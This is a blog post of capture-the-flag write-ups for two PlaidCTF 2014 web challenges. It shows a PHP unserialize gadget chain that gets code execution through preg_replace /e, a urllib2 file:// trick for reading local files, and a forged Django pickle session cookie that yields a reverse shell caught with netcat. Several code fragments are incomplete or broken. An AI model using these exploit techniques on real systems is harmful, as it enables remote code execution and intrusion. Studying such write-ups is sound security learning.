Sunday, April 27, 2014

PlaidCTF 2014 - kpop and reeekeee

kpop (web200)

We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct --
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  function log($txt) {
  function __destruct() {

-- _destruct -- 
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger --
class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
-- logger --
By using the /e switch, we can execute arbitrary code:
-- exploit --
class LogFileFormat {
  public $filters,$endl;
  function __construct($a){$this->filters=$a;$this->endl='';}
class LogWriter_File {
  protected $filename,$format;
  function __construct($b){$this->filename='';$this->format=$b;}
class Logger {
  protected $logwriter; 
  function __construct($a){$this->logwriter=$a;}
class Song {
  protected $logger,$name,$group,$url;
  function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}
class Lyrics { 
  protected $lyrics,$song;
  function __construct($a){$this->lyrics='';$this->song=$a;}
$of = new OutputFilter('/(.*)/e',$payload);
$w = new LogWriter_File(new LogFileFormat($of));
$e = new Lyrics(new Song(new Logger($w)));
echo base64_encode(serialize($e));
-- exploit --
Flag: One_of_our_favorite_songs_is_bubble_pop 

reekee (web200)

We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.
-- cut --
    url = request.POST['url']
    text = request.POST['text']
      if "http://" in url:
        image = urllib2.urlopen(url)
        image = urllib2.urlopen("http://"+url)
-- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see; something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in
-- --
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
The signing was done with an HMAC with a secret stored in Let's read it and forge some cookies to get RCE (django code ripped from:
--- exploit ---

import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
from lxml import etree
def send_django(key, add, payload,t):
    def base64(s): #taken from django
        import base64
        return base64.urlsafe_b64encode(s).strip(b'=')

    def salted_hmac(salt, value, secret): #taken from django
        key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
        return hmac(key, msg=value, digestmod=hashlib.sha1).digest()

    import time
    import baseconv #taken from django

    timestamp = baseconv.base62.encode(str(int(time.time())))
    data = base64(payload)+":"+timestamp
    mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django
    s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac}
    return requests.get(add, cookies=t)

IP = ''
PORT = 41412
url =''
r = requests.get(url+'/login')
cook = r.cookies
tok = r.cookies['csrftoken']
print tok
r ='/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)
print r.text
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
r = send_django(SECRET_KEY,url+'/make',p,cook)
print r.text
--- exploit ---
On listener:
$ nc -l -p 41412
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(reekee) gid=1001(reekee) groups=1001(reekee)
$ give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

No comments:

Post a Comment